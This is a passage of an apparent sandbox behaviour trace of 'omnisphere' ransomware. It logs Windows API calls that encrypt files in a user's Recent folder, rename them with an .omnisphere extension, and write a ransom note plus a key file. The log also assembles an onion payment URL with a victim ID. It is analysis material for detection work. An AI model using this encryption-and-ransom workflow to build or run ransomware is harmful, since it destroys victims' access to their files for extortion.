pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.827] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.827] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0118.827] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4da, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.828] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.828] GetProcessHeap () returned 0x1600000 [0118.828] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16ac7f0 [0118.828] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1vhknanfpxmxhu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1vhknanfpxmxhu.lnk.omnisphere")) returned 1 [0118.829] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk.omnisphere.id" [0118.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1vhknanfpxmxhu.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.830] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.831] CloseHandle (hObject=0x3c0) returned 1 [0118.832] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.832] CloseHandle (hObject=0x288) returned 1 [0118.832] SetEndOfFile (hFile=0x28c) returned 1 [0118.833] FlushFileBuffers (hFile=0x28c) returned 1 [0118.836] CloseHandle (hObject=0x28c) returned 1 [0118.836] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1vHknANfpxmxhu.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.836] GetProcessHeap () returned 0x1600000 [0118.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16acab0 [0118.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.836] GetProcessHeap () returned 0x1600000 [0118.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693f30 [0118.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693f30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.836] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.836] GetProcessHeap () returned 0x1600000 [0118.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686ea8 [0118.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686ea8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.836] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.836] GetProcessHeap () returned 0x1600000 [0118.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a28c8 [0118.836] PathCombineW (in: pszDest=0x16a28c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.836] GetProcessHeap () returned 0x1600000 [0118.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a8550 [0118.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.837] WriteFile (in: hFile=0x28c, lpBuffer=0x16a8550*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a8550*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.837] CloseHandle (hObject=0x28c) returned 1 [0118.837] GetProcessHeap () returned 0x1600000 [0118.837] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16acab0 | out: hHeap=0x1600000) returned 1 [0118.837] GetProcessHeap () returned 0x1600000 [0118.837] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e628 [0118.837] PathCombineW (in: pszDest=0x162e628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.837] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.837] CloseHandle (hObject=0x28c) returned 1 [0118.838] GetProcessHeap () returned 0x1600000 [0118.838] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e628 | out: hHeap=0x1600000) returned 1 [0118.838] GetProcessHeap () returned 0x1600000 [0118.838] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.838] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4b0bfe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4b0bfe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f4b0bfe, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1X4wmVa.lnk", cAlternateFileName="")) returned 1 [0118.838] GetProcessHeap () returned 0x1600000 [0118.838] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e368 [0118.838] PathCombineW (in: pszDest=0x165e368, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1X4wmVa.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk" [0118.838] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1x4wmva.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.838] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=805) returned 1 [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.838] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] GetTickCount () returned 0x115db2a [0118.839] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16681b8) returned 1 [0118.840] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0118.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.840] CryptDestroyKey (hKey=0x16395e8) returned 1 [0118.840] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0118.840] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x325, lpName=0x0) returned 0x288 [0118.840] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x325) returned 0x1480000 [0118.840] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669098) returned 1 [0118.841] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0118.841] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.841] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 